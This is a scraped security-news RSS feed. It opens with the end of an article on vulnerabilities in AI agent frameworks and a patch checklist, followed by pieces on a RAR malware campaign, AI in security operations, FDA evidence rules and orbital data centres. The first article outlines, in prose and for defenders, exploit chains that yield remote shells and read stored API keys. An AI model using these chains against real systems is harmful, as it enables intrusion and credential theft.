1.2.22 and 0.3.86</a>; CVE-2025-68664 lands earlier in <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-68664">1.2.5 and 0.3.81</a>. Clear both, or the higher-severity flaw stays live behind a patched one.</p><p>Three frameworks, three classic AppSec bugs. Path traversal. SQL injection. Unsafe deserialization. Nothing exotic, nothing AI-specific, just old vulnerabilities living inside new infrastructure. None of this is a frontier-model problem. It is plumbing, sitting in the layer where AI meets the enterprise.</p><h2><b>Why the scanner cannot see it</b></h2><p>Merritt Baer, CSO at <a href="https://www.enkryptai.com/">Enkrypt AI</a> and former deputy CISO at AWS, has named what makes this kind of failure hard to see coming. It does not announce itself as an AI problem. "CISOs will experience MCP insecurity not in the abstract, but when an employee pastes sensitive data into a tool, or when an attacker finds an unauthenticated MCP server in your cloud," Baer told VentureBeat. "It won't feel like 'AI risk.' It will feel like your traditional security program failing." The framework chains here are the same shape. An exposed Langflow instance is an unauthenticated server in your cloud, and the alert, if one fires, reads like an ordinary incident.</p><p>That is the gap in one sentence. The exploit lives in the framework your code imports. The WAF never sees a msgpack decoder running three layers down. The EDR watches the agent server make the same process calls it makes a thousand times a day and waves it through. Both tools are doing their job. Nobody scoped the framework itself as the thing that could turn on you. </p><p>The root cause is older than AI, and Baer names it. “MCP is shipping with the same mistake we’ve seen in every major protocol rollout: insecure defaults,” she told VentureBeat. “If we don’t build authentication and least privilege in from day one, we’ll be cleaning up breaches for the next decade.” Langflow’s auto-login is that mistake shipped. LangChain-core’s unguarded prompt loader is that mistake shipped. The convenient default is the vulnerability. And the moment an agent connects to anything, that risk compounds. “You’re not just trusting your own security, you’re inheriting the hygiene of every tool, every credential, every developer in that chain,” Baer said. “That’s a supply chain risk in real time.”</p><p>There is a governance failure layered on top of the technical one, and it is the same miscategorization Assaf Keren, chief security officer at Qualtrics and former CISO at PayPal, has flagged in adjacent tooling. “Most security teams still classify experience management platforms as ‘survey tools,’ which sit in the same risk tier as a project management app,” Keren told VentureBeat. “This is a massive miscategorization.” Swap in AI agent frameworks, and it still holds. Teams file LangGraph, Langflow, and LangChain under developer convenience, then wire them into databases, CRMs, and provider keys. “Security has to be an enabler,” Keren said, “or teams route around it.” These frameworks are what routing around it looks like.</p><p>Follow the money and it points at the same layer. On its <a href="https://www.fool.com/earnings/call-transcripts/2026/06/03/crowdstrike-crwd-q1-2027-earnings-transcript/">Q1 fiscal 2027 earnings call</a>, CrowdStrike reported its AI detection and response line up more than 250% sequentially, and on June 17 it <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-advances-ai-and-cloud-security-operations-on-aws/">extended that runtime coverage</a> to agent, LLM, and MCP traffic on AWS. George Kurtz, the company’s co-founder and CEO, named the reason in plain terms: “Agents run on the endpoint. They make tool calls, access files, invoke APIs, and move data at the process level.” That is the exact plumbing these chains abuse, and real money is now moving to the layer your AppSec scan skips.</p><h2><b>What to put in front of the board</b></h2><p>The board does not need the CVE numbers. It needs the consequence, and Keren draws the line the board cares about. Most teams have mapped the technical blast radius. “But not the business blast radius,” Keren told VentureBeat. “When an AI engine triggers a compensation adjustment based on poisoned data, the damage is not a security incident. It is a wrong business decision executed at machine speed.” A framework RCE is the same problem one layer earlier. The agent does not just leak a credential; it acts on production systems with it, and the business sees an outcome no one can explain.</p><p>So frame it the way a board frames it: we run AI agent frameworks in production that can be turned into remote shells through bugs our scanners are not built to find, all three are patched, one is under active attack, and here is the date every instance is verified and closed. None of this required custom malware or a zero-day.</p><h2><b>The six-question checklist</b></h2><p>Six trust boundaries, one per row, each with the question, the proof point, the command, the fix, and the board line. Run it tonight.</p><table><tbody><tr><td><p><b>Trust-Boundary Question</b></p></td><td><p><b>Proof Point</b></p></td><td><p><b>What Broke</b></p></td><td><p><b>Verify Before You Install</b></p></td><td><p><b>The Fix</b></p></td><td><p><b>Board Language</b></p></td></tr><tr><td><p><b>1. Can the agent's state store be poisoned with code?</b></p></td><td><p>LangGraph SQLi-to-RCE chain. CVE-2025-67644 (CVSS 7.3) chains into CVE-2026-28277 (CVSS 6.8). PoC public, no in-the-wild use yet.</p></td><td><p>Filter keys interpolated into SQL with an f-string. Forged checkpoint row hits the msgpack decoder, which imports and runs an attacker-named callable.</p></td><td><p>pip show langgraph-checkpoint-sqlite. Below 3.0.1 = vulnerable. Confirm get_state_history() is not exposed to network input.</p></td><td><p>Upgrade langgraph-checkpoint-sqlite to 3.0.1, langgraph to 1.0.10, langgraph-checkpoint-redis to 1.0.2.</p></td><td><p>“Our agent memory layer can be tricked into running attacker code. Vendor has patched it. We are upgrading and confirming the endpoint is not exposed.”</p></td></tr><tr><td><p><b>2. Can an unauthenticated request write a file to our agent server?</b></p></td><td><p>Langflow CVE-2026-5027 (CVSS 8.8). On VulnCheck KEV (June 8). Active exploitation confirmed June 9. ~7,000 exposed instances (Censys).</p></td><td><p>Path traversal in POST /api/v2/files. Filename unsanitized. Auto-login on by default. Two HTTP calls drop a cron job and earn a shell.</p></td><td><p>Query Censys or Shodan for your Langflow, Flowise, n8n, and Dify instances on the perimeter. Check whether auto-login is enabled.</p></td><td><p>Upgrade Langflow to 1.9.0+. Disable auto-login. Pull AI dev tools behind VPN or zero-trust. Isolate port 7860.</p></td><td><p>“Our AI dev tools are reachable from the internet with login off. This exact flaw is under active attack now. We are pulling them behind access controls today.”</p></td></tr><tr><td><p><b>3. Can our prompt loader read files it should never touch?</b></p></td><td><p>LangChain-core CVE-2026-34070 (CVSS 7.5), path traversal in the prompt-loading API. Paired with deserialization CVE-2025-68664 (CVSS 9.3).</p></td><td><p>load_prompt() reads a config-supplied path with no traversal check, returning files such as the .env holding OPENAI_API_KEY and ANTHROPIC_API_KEY.</p></td><td><p>pip show langchain-core. Below 1.2.22 (1.x) or 0.3.86 (0.x) = vulnerable. Audit any code passing user-influenced paths to load_prompt().</p></td><td><p>Upgrade langchain-core past both fixes: 1.2.22 / 0.3.86 (CVE-2026-34070) and 1.2.5 / 0.3.81 (CVE-2025-68664). Replace load_prompt() with an allowlisted directory. Run as non-root.</p></td><td><p>“Our prompt system could be steered to read our API keys off disk. We are patching and removing the legacy loader.”</p></td></tr><tr><td><p><b>4. Does a compromised framework hand over every credential at once?</b></p></td><td><p>These frameworks are often deployed with provider keys, database credentials, and integration tokens available to the process environment. Cyera documents the credential-exfiltration path.</p></td><td><p>One RCE on the agent server exposes every secret the process can read. Blast radius is the full credential set, not one app.</p></td><td><p>Inventory which secrets each framework process can reach. Confirm keys come from a secrets manager, not static .env files.</p></td><td><p>Move provider keys to ephemeral injection. Rotate any key a vulnerable instance could have read. Scope each key to least privilege.</p></td><td><p>“A single break in one AI framework exposes the keys to every model and data store it touches. We are rotating and scoping them now.”</p></td></tr><tr><td><p><b>5. Are these frameworks running outside security governance?</b></p></td><td><p>A prior Langflow flaw, CVE-2025-34291, was weaponized by Iranian-linked MuddyWater and added to CISA KEV in May. Shadow AI is the new shadow IT.</p></td><td><p>Teams stand frameworks up for speed, give them credentials, and never bring them under review. The security team cannot see what it does not know exists.</p></td><td><p>Run a discovery sweep for AI frameworks outside change management. Map each to an owner and an approval record.</p></td><td><p>Assign every framework a documented owner and a place in the approval process. Offer a sanctioned alternative so teams do not route around you.</p></td><td><p>“We have AI frameworks in production that no one formally approved. We are bringing them under governance, not banning them.”</p></td></tr><tr><td><p><b>6. Can our scanners even see inside the framework at runtime?</b></p></td><td><p>Runtime detection is forming around this layer: CrowdStrike Falcon AIDR expanded to AWS June 17 (Bedrock, Kiro, Strands); its <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-expands-project-quiltworks-with-aws-hardening-the-cloud-attack-surface-against-frontier-ai-risk/">QuiltWorks coalition</a> now covers cloud workloads.</p></td><td><p>WAF reads HTTP at the edge. EDR watches the endpoint. By default, neither reliably models a msgpack decoder or a prompt loader three layers down in an imported framework as a separate trust boundary.</p></td><td><p>Test whether your AppSec scan covers third-party framework internals. Track CVEs by dependency, not just by what your edge tools can parse.</p></td><td><p>Add framework dependencies to vuln management. Treat agent output and stored state as untrusted. Patch on disclosure, not on KEV listing.</p></td><td><p>“Our scanners check our code, not the frameworks our code imports. We are closing that blind spot and patching on disclosure, not waiting for the federal catalog.”</p></td></tr></tbody></table><p><i>How to read this table: each row is one trust boundary, left to right, from the question to ask to the line to read your board.</i></p><h2><b>Give the board the deadline, not the technology</b></h2><p>The fixes are not a re-architecture. They are version bumps and config changes you can land this week. The exposure is the gap between the day the patch shipped and the day your team runs the checks, and right now that gap is measured in months. The frameworks did exactly what they were built to do. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Threat Actors Weaponizing RAR Archives to Target Thailand’s Healthcare Sector]]></title>
<description><![CDATA[Authors: Vaibhav Krushna Billade, Dixit Panchal & Rumana Siddiqui. Table of Contents Introduction Key Targets Infection Chain Initial Campaign Findings Technical Analysis Stage 1: Initial Delivery (RAR Archive) Stage 2: Rouki-Obfuscated Batch Loader Stage 3: Startup Persistence Script Stage 4: Se...]]></description>
<link>https://tsecurity.de/de/3610200/it-security-nachrichten/threat-actors-weaponizing-rar-archives-to-target-thailands-healthcare-sector/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610200/it-security-nachrichten/threat-actors-weaponizing-rar-archives-to-target-thailands-healthcare-sector/</guid>
<pubDate>Fri, 19 Jun 2026 13:22:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Authors: Vaibhav Krushna Billade, Dixit Panchal &amp; Rumana Siddiqui. Table of Contents Introduction Key Targets Infection Chain Initial Campaign Findings Technical Analysis Stage 1: Initial Delivery (RAR Archive) Stage 2: Rouki-Obfuscated Batch Loader Stage 3: Startup Persistence Script Stage 4: Secondary Payload Execution Stage 5: Information Stealer Deployment (sim.py) Conclusion Seqrite Coverage Indicators of Compromise […]</p>
<p>The post <a href="https://www.seqrite.com/blog/threat-actors-weaponizing-rar-archives-to-target-thailands-healthcare-sector/" data-wpel-link="internal" target="_self" rel="follow">Threat Actors Weaponizing RAR Archives to Target Thailand’s Healthcare Sector</a> appeared first on <a href="https://www.seqrite.com/blog" data-wpel-link="internal" target="_self" rel="follow">Seqrite Labs</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Breaking the SOC triangle: How AI reshapes security operations trade-offs]]></title>
<description><![CDATA[A simple framework has always governed security operations that I call the SOC Triangle. It is a balance between quality, consistency and cost efficiency.



Every SOC operates within it. Push for higher-quality investigations, deeper analysis, richer context, fewer missed signals and you pay for...]]></description>
<link>https://tsecurity.de/de/3609972/it-security-nachrichten/breaking-the-soc-triangle-how-ai-reshapes-security-operations-trade-offs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609972/it-security-nachrichten/breaking-the-soc-triangle-how-ai-reshapes-security-operations-trade-offs/</guid>
<pubDate>Fri, 19 Jun 2026 12:08:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A simple framework has always governed security operations that I call the SOC Triangle. It is a balance between quality, consistency and cost efficiency.</p>



<p>Every SOC operates within it. Push for higher-quality investigations, deeper analysis, richer context, fewer missed signals and you pay for it in time and expertise. Standardize workflows to ensure consistency across every alert, and you often lose the flexibility needed to handle real-world complexity and nuance. Optimize for cost efficiency, and the pressure shows up quickly in both quality and consistency.</p>



<p>For years, the SOC Triangle has shaped how security teams are built and how they perform. This is why organizations add headcount to improve outcomes, rely on rigid playbooks to reduce variability and improve scale, and still struggle to operate at their theoretical best and optimize security and quality of service outcomes.</p>



<p>The constraint is not a failure of strategy. It is structural. And until recently, it was largely unavoidable.</p>



<h2 class="wp-block-heading">Why the SOC was built this way</h2>



<p>Most security operations centers are designed as human-routing systems. Alerts are ingested, triaged, escalated and resolved by analysts at multiple levels. Every meaningful step, including collecting evidence, correlating signals and making decisions, depends on human capacity.</p>



<p>That dependency introduces variability. Two analysts can approach the same alert differently, influenced by experience, fatigue and time pressure. To improve consistency, organizations introduce <a href="https://www.csoonline.com/article/3622920/soar-buyers-guide-11-security-orchestration-automation-and-response-products-and-how-to-choose.html?utm=hybrid_search">playbooks and workflows</a>. But those controls often reduce flexibility, especially in complex cases, and fail to provide coverage where decision making relies in part on unstructured context, and where workflows may not be fully deterministic and require real-time reasoning to determine the best course of action.</p>



<p>At the same time, scaling either quality or consistency typically requires more people, reducing cost efficiency.</p>



<p>This is the SOC Triangle in practice: a system where improving one dimension creates friction in another.</p>



<p>The same constraint is also why the managed detection and response market exists. When organizations could not solve the triangle in-house, they outsourced it. But the service model does not eliminate the trade-offs. It reconstitutes them at the provider layer, where the same human-routing architecture, the same playbooks and the same staffing economics drive the same limits. Customers pay for consistency and predictability, and they get it. What they often do not get is the investigation depth and environmental customization tailored to their business context and to optimizing against their security program maturity goals that they would want if resources were not the binding constraint.</p>



<h2 class="wp-block-heading">Where the model starts to break</h2>



<p>The challenge is not just the existence of trade-offs, but their growing intensity.</p>



<p>Modern SOCs must process higher volumes of alerts across more tools and environments. The work itself, gathering and correlating evidence across identity systems, endpoints, cloud platforms and threat intelligence, is both repetitive and cognitively demanding.</p>



<p>Under this pressure, the triangle tightens.</p>



<p>Quality degrades because analysts do not have time to fully investigate every signal and rigid automation playbooks often fail to capture the depth and nuance that security leaders expect which results in increased friction for end users. Consistency suffers because decisions are made under time constraints. Cost rises because the only way to compensate is to add more people or accept increased risk.</p>



<p>This hits hardest for organizations that have outsourced SOC operations. Service economics lock the trade-offs in place. Per-alert pricing constrains how much investigation each signal receives. Standardized playbooks limit how much the service can tailor to a specific environment. Tier structures exist because the math of humans investigating alerts demands they exist. Every one of those mechanisms is a rational response to the triangle. None of them changes its shape and its fundamental constraints.</p>



<p>For years, this has been accepted as the cost of doing business, whether that business is run in-house or outsourced.</p>



<h2 class="wp-block-heading">How AI changes the constraint</h2>



<p>AI is often framed as a tool for efficiency. The more meaningful shift is that it <a href="https://www.csoonline.com/article/4158008/the-ai-inflection-point-what-security-leaders-must-do-now.html">changes how certain SOC workflows</a> are executed.</p>



<p>Much of SOC work follows a pattern: gather data, correlate signals, ask follow-up questions and form a conclusion. These workflows are complex but repeatable. They require consistency and scale as much as expertise.</p>



<p>When those workflows are no longer constrained by human bandwidth, the SOC Triangle begins to change shape.</p>



<p>Quality improves because investigations can incorporate more meaningful data, apply investigative reasoning in real time and take into account unstructured information and business-specific context without shortcuts. Consistency improves because the same logic is applied across every alert. Cost efficiency improves because scaling no longer depends on linear increases in headcount.</p>



<p>I am watching this play out in production environments today. Investigations that used to consume the majority of Tier 1 and 2 analysts’ shifts now resolve in minutes, with deeper context than the human path could produce within these time frames. The same rigor is applied to every alert, not only the anecdotal ones that earn attention. What used to be a choice between going deep on a few cases or going shallow on many is no longer a compromise security leaders need to make.</p>



<p>For the first time, these dimensions are not strictly in opposition.</p>



<h2 class="wp-block-heading">From trade-offs to expansion</h2>



<p>This does not eliminate the SOC Triangle. It expands it.</p>



<p>Not every workflow can be automated, and not every decision can be reduced to a repeatable process. Strategic judgment, incident leadership and risk appetite remain human responsibilities and business decisions.</p>



<p>But the boundary within which SOC teams operate is no longer tied to legacy constraints.</p>



<p>Instead of choosing between quality, consistency and cost, organizations can begin to improve all three for the types of work best suited to machine execution. That is a meaningful shift, whether it occurs within a company’s SOC or in the service relationship with a partner that operates it.</p>



<h2 class="wp-block-heading">Where it matters most</h2>



<p>The impact is most visible in the high-volume workflows where performance gaps have been largest: alert triage and enrichment, initial investigation and evidence gathering, correlation across systems and routine response recommendations. These are the areas where human-led processes introduce the most variability, where time pressure degrades quality and where scaling costs are most visible. They are also the areas where trade-offs have historically been unavoidable.</p>



<h2 class="wp-block-heading">The human role evolves</h2>



<p>AI does not remove the need for human expertise. It changes <a href="https://www.csoonline.com/article/4168681/8-guiding-principles-for-reskilling-the-soc-for-agentic-ai.html">where that expertise is applied</a>.</p>



<p>As machines take on repeatable work, human effort shifts toward higher-value activities: interpreting ambiguous signals, managing complex incidents, setting policy and making risk-based decisions. The operating model moves from human-executed workflows to human-governed systems.</p>



<p>That changes what organizations should expect from security operations, whether in-house or outsourced. The conversation moves from “how many alerts did you close last week” to “what patterns are you seeing in my environment, and what should I do about them.” The output is judgment, not throughput. That is a different product than most security teams have been buying, and it is a different service than most managed detection and response service providers have been selling.</p>



<h2 class="wp-block-heading">The shift that matters</h2>



<p>For years, SOC leaders have accepted the triangle as a fixed constraint. What is changing now is not just the tooling. It is the economics of how security work is performed.</p>



<p>The triangle still exists. But it no longer defines a rigid set of trade-offs. In parts of the SOC and the services that support it, those trade-offs are beginning to loosen.</p>



<p>In a field where constraints have long dictated outcomes, that shift matters.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why the FDA’s new real-world evidence guidance ends the era of structured-data-only submissions]]></title>
<description><![CDATA[On February 17, 2026, the FDA’s final guidance on the use of real-world evidence to support regulatory decision-making for medical devices became operational. It asks sponsors to demonstrate that their real-world data is relevant, reliable, complete and traceable, for every clinical fact rather t...]]></description>
<link>https://tsecurity.de/de/3609971/it-security-nachrichten/why-the-fdas-new-real-world-evidence-guidance-ends-the-era-of-structured-data-only-submissions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609971/it-security-nachrichten/why-the-fdas-new-real-world-evidence-guidance-ends-the-era-of-structured-data-only-submissions/</guid>
<pubDate>Fri, 19 Jun 2026 12:08:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>On February 17, 2026, the FDA’s <a href="https://www.fda.gov/regulatory-information/search-fda-guidance-documents/use-real-world-evidence-support-regulatory-decision-making-medical-devices" rel="nofollow">final guidance on the use of real-world evidence to support regulatory decision-making for medical devices</a> became operational. It asks sponsors to demonstrate that their real-world data is relevant, reliable, complete and traceable, for every clinical fact rather than each dataset as a whole. The first wave of submissions under the new rules is now landing at the agency, and a structural problem with how most secondary-use clinical data is built today is about to become visible.</p>



<p>The premise behind those pipelines is that structured electronic health record (EHR) fields plus claims data offer a defensible foundation for evidence. They are easier to extract and standardize, and map cleanly to common data models like OMOP. The implicit assumption is that what is missing from the structured fields is either marginal or available somewhere else. The peer-reviewed record says otherwise.</p>



<h2 class="wp-block-heading">The clinical signal that matters lives in text</h2>



<p>Across condition areas where regulatory submissions depend on completeness, structured fields capture a small fraction of what clinicians have documented.</p>



<p>Social determinants of health are the starkest case. A <a href="https://www.nature.com/articles/s41746-023-00970-0" rel="nofollow">2024 study in <em>npj Digital Medicine</em></a> compared natural language processing on clinical notes against ICD-10 Z-codes for the same patients: NLP identified adverse SDoH in 93.8% of patients, while the structured codes identified 2.0%. For a regulatory question about outcomes by housing, food or transportation security, structured data is not a partial view. It is absent.</p>



<p>Family history follows a similar shape. <a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC4765557/" rel="nofollow">A 2015 study in the <em>AMIA Annual Symposium Proceedings</em></a> found specified family history in 58.7% of neurology admission notes against 5.2% in the structured record, a twelvefold gap. Any genetics-aware risk model that draws only from structured fields operates without most of its predictive signal.</p>



<p>In oncology, the data that drives staging, therapy and outcomes lives in pathology reports and clinic notes rather than discrete fields. <a href="https://www.jmir.org/2022/3/e27210" rel="nofollow">A 2022 study in the <em>Journal of Medical Internet Research</em></a> reported 93.5–97.6% accuracy for cancer site and histology extracted directly from free-text pathology reports. Without that extraction, the structured oncology record is, on its own, incomplete enough that cancer registry and external-control-arm work cannot be defended.</p>



<p>For diagnoses more generally, <a href="https://www.sciencedirect.com/science/article/pii/S1386505621000782" rel="nofollow">a 2021 audit in the <em>International Journal of Medical Informatics</em></a> found that nearly 40% of important inpatient diagnoses appeared only in free-text notes and never reached the structured problem list. <a href="https://www.johnsnowlabs.com/wp-content/uploads/2025/06/PHuSE_2025_MOSAIC-NLP_Poster.pdf" rel="nofollow">A 2025 study presented at the PHUSE/FDA Computational Science Symposium</a> reported that observed suicidality and self-harm events doubled once unstructured EHR data was added to the surveillance window. This is consistent with <a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC5943451/" rel="nofollow">earlier work</a> showing that only about 3% of suicidal ideation events and 19% of suicide-attempt events documented in notes carry corresponding ICD codes. For pharmacovigilance and safety analyses, the gap is the difference between detecting a signal and missing it.</p>



<h2 class="wp-block-heading">And what is captured is noisier than it looks</h2>



<p>Treating the structured record as ground truth understates a second problem: the codes that are present are frequently wrong. <a href="https://pubmed.ncbi.nlm.nih.gov/29854158/" rel="nofollow">A 2017 simulation study in the <em>AMIA Annual Symposium Proceedings</em></a> found that just over half of entered diagnosis codes were appropriate for the clinical scenario, and about a quarter of the codes expected from the chart were omitted entirely. <a href="https://pubmed.ncbi.nlm.nih.gov/36618791/" rel="nofollow">A 2022 study in the <em>Annals of Translational Medicine</em></a> reported an average of 4.9 medication discrepancies per patient, with more than 90% of patients carrying at least one. And <a href="https://www.cdc.gov/mmwr/volumes/66/wr/mm6645a2.htm" rel="nofollow">the CDC has documented</a> that about one in five new prescriptions is never filled, and roughly half of those filled are taken incorrectly.</p>



<p>The structured layer is not only thin. It is also unreliable in ways that propagate silently into derived measures. This brings the discussion to the most uncomfortable finding.</p>



<h2 class="wp-block-heading">Completeness changes the answer, not just the coverage</h2>



<p><a href="https://www.ajmc.com/view/electronic-health-record-problem-lists-accurate-enough-for-risk-adjustment" rel="nofollow">A 2018 study in the <em>American Journal of Managed Care</em></a> computed <a href="https://pubmed.ncbi.nlm.nih.gov/3558716/" rel="nofollow">Charlson comorbidity scores</a> (a widely used mortality-prediction index) from two sources for the same patients: from free-text clinical notes and from the structured problem list. The version computed from the notes predicted long-term mortality. The version computed from the structured record did not. The math was identical. The data layer changed which conclusions were valid.</p>



<p>This is the pattern the new FDA guidance is responding to. The agency’s relevance-and-reliability framework cares less about volume than about accuracy. The clinical facts in a submission have to accurately represent what happened to the patient, and critical information cannot be systematically missing. A submission whose underlying measure is built on the structured-only Charlson is, by the agency’s own framework, not fit for the regulatory question it is being used to answer.</p>



<h2 class="wp-block-heading">What this means for the architecture, not just the dataset</h2>



<p>The implication runs deeper than “add NLP to your pipeline.” It changes the unit of work. Under the new guidance, the question is no longer “is this dataset complete enough?” but “is this fact about this patient accurate, and where did it come from?” Every clinical assertion in a real-world evidence submission has to be treatable as a claim: sourced, dated, contextualized, scored for confidence and reconcilable when sources disagree.</p>



<p>That has architectural consequences. It means ingesting and parsing every modality losslessly, including text, FHIR, HL7, DICOM and PDFs, without throwing away the original. It means extraction with healthcare-specific language models that handle negation, assertion status, temporality and clinical context. It means terminology mapping that survives audit. It means a reconciliation layer that knows what to do when the chart says 80 mg and the pharmacy feed says 40 mg and surfaces the conflict rather than picking silently.</p>



<p>None of that is exotic engineering. But it is incompatible with pipelines whose first design assumption was that structured fields would carry the load. Sponsors operating under the new guidance will need to rebuild that assumption from the ground up.</p>



<p>Capturing the right data is the easier part. Proving you captured it correctly, fact by fact, is the harder one. The new guidance treats both as requirements, not options.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your next data center could soon be in space. Here’s why you should care]]></title>
<description><![CDATA[For the past two decades, enterprise infrastructure strategy has been shaped by one dominant assumption: the cloud is where modern computing happens. Applications moved from corporate data centers to hyperscale cloud regions. Data moved into globally distributed storage platforms. Analytics, cybe...]]></description>
<link>https://tsecurity.de/de/3609788/it-nachrichten/your-next-data-center-could-soon-be-in-space-heres-why-you-should-care/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609788/it-nachrichten/your-next-data-center-could-soon-be-in-space-heres-why-you-should-care/</guid>
<pubDate>Fri, 19 Jun 2026 11:02:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For the past two decades, enterprise infrastructure strategy has been shaped by one dominant assumption: the cloud is where modern computing happens. Applications moved from corporate data centers to hyperscale cloud regions. Data moved into globally distributed storage platforms. Analytics, cybersecurity, collaboration and enterprise software followed. More recently, artificial intelligence accelerated the shift, making cloud infrastructure the default foundation for experimentation, deployment and scale.</p>



<p>But the next phase of digital infrastructure may challenge a more basic assumption: that data centers must remain on Earth.</p>



<p>A growing number of space companies are exploring plans to build data centers in orbit. What once sounded like speculative science fiction is now entering the language of infrastructure planning. The drivers are clear: rising demand for AI compute, growing pressure on terrestrial data centers, constraints around power and cooling, the need for resilience and the increasing importance of distributed infrastructure for mission-critical operations.</p>



<p>This does not mean enterprises will soon move their ERP systems or customer databases into orbit. Nor does it mean terrestrial cloud infrastructure is going away. The more realistic and important point is that space could become a new layer in the enterprise infrastructure stack. For CIOs, this is not simply a space industry story. It is an early signal of where enterprise AI infrastructure may be heading.</p>



<h2 class="wp-block-heading">Space data centers are moving from science fiction to infrastructure planning</h2>



<p>The idea of putting compute and storage infrastructure in space has been discussed for years. Until recently, it was mostly treated as a futuristic concept. That is changing.</p>



<p>Space companies are now beginning to explore <a href="https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/the-case-for-data-centers-in-space" rel="nofollow">orbital data centers</a> as real infrastructure platforms. These systems could support secure storage, AI processing, disaster recovery, satellite operations, Earth observation, communications and eventually Earth-based enterprise workloads.</p>



<p>There are several reasons why orbit is becoming interesting:</p>



<p>First, space has access to abundant solar energy. In the right orbital configurations, infrastructure can benefit from long-duration exposure to sunlight, creating a potential energy advantage over data centers that must compete for constrained terrestrial power grids.</p>



<p>Second, space offers natural radiative cooling. Cooling has become one of the major cost and design challenges for AI data centers on Earth. In orbit, heat can be radiated into space, although the engineering challenge remains complex.</p>



<p>Third, space is already becoming a data-rich environment. Satellites, space stations, Earth observation platforms, communications networks and future orbital infrastructure generate vast amounts of data. Processing some of that data closer to where it is created could reduce latency, bandwidth demand and dependence on terrestrial networks.</p>



<p>Fourth, space introduces a new resilience model. Infrastructure in orbit could, in theory, provide an additional layer of continuity outside Earth-based risks such as regional outages, natural disasters, geopolitical disruptions, energy constraints or physical attacks on terrestrial infrastructure.</p>



<p>The near-term opportunity is not to replace traditional data centers. It is to extend the architecture of compute, storage and AI beyond Earth.</p>



<h2 class="wp-block-heading">Enterprise AI is exposing the limits of terrestrial infrastructure</h2>



<p>The timing matters because AI is putting unprecedented pressure on infrastructure. Traditional enterprise workloads were already driving cloud expansion. AI has changed the scale and urgency of the problem. Training models, running inference, supporting autonomous agents, processing multimodal data and deploying AI into operational workflows all require significant compute capacity.</p>



<p>For CIOs, the AI infrastructure challenge is no longer abstract. It shows up in very practical ways: GPU shortages, higher cloud bills, data center capacity constraints, power availability issues, cooling requirements, latency concerns and governance questions around where data and models reside.</p>



<p>In many markets, power has become one of the biggest constraints on data center growth. New AI data centers require enormous electricity supply, and grid interconnection is often slow. Cooling is another challenge, especially as dense AI compute clusters generate significant heat. Land availability, permitting, sustainability targets and regional concentration risk add further complexity.</p>



<p>This creates a strategic infrastructure question for enterprises: where should AI workloads run? The answer used to be relatively simple. Run them in the cloud, unless there is a strong reason not to. That answer is now becoming more nuanced.</p>



<p>Some workloads belong in hyperscale cloud environments because they need elasticity and access to advanced AI services. Some belong in private infrastructure because of cost, performance, compliance or data sensitivity. Some belong in sovereign cloud environments because of regulatory or national requirements. Some belong at the edge because latency, autonomy or local control matters.</p>



<p>In the future, a small but important category of workloads may also belong in orbit.</p>



<h2 class="wp-block-heading">Orbit could become a new extension of the enterprise cloud</h2>



<p>The most immediate use cases for space data centers are likely to be specialized. Disaster recovery, secure data storage, satellite data processing, communications resilience, Earth observation analytics, and government or defense workloads are more plausible early candidates than mainstream enterprise applications.</p>



<p>But CIOs should not dismiss specialized use cases as irrelevant. Many infrastructure shifts begin at the edge of the market before moving into the enterprise mainstream.</p>



<p>Cloud computing itself did not begin as the default choice for core enterprise systems. It started with web workloads, development environments, storage and elastic compute. Over time, it became the dominant operating model for enterprise technology.</p>



<p>Similarly, space data centers may begin with niche workloads that require resilience, autonomy or proximity to space-generated data. Over time, they could become part of a broader distributed infrastructure fabric.</p>



<p>For Earth-based operations, orbital infrastructure could support several categories of workload.</p>



<p>One is disaster recovery and business continuity. Critical data or AI systems could be replicated beyond terrestrial failure zones, creating an additional resilience layer for organizations where downtime or data loss carries severe consequences.</p>



<p>Another is secure storage. Certain sectors may eventually look at orbital storage as part of long-term archival, <a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">sovereign resilience</a> or high-assurance continuity planning.</p>



<p>A third is AI inference. Not all AI workloads require massive training clusters. Some require reliable, distributed inference for monitoring, detection, classification, routing and decision support. Orbital infrastructure could support AI workloads tied to global operations, satellite networks, climate systems, telecom infrastructure, maritime activity or critical infrastructure monitoring.</p>



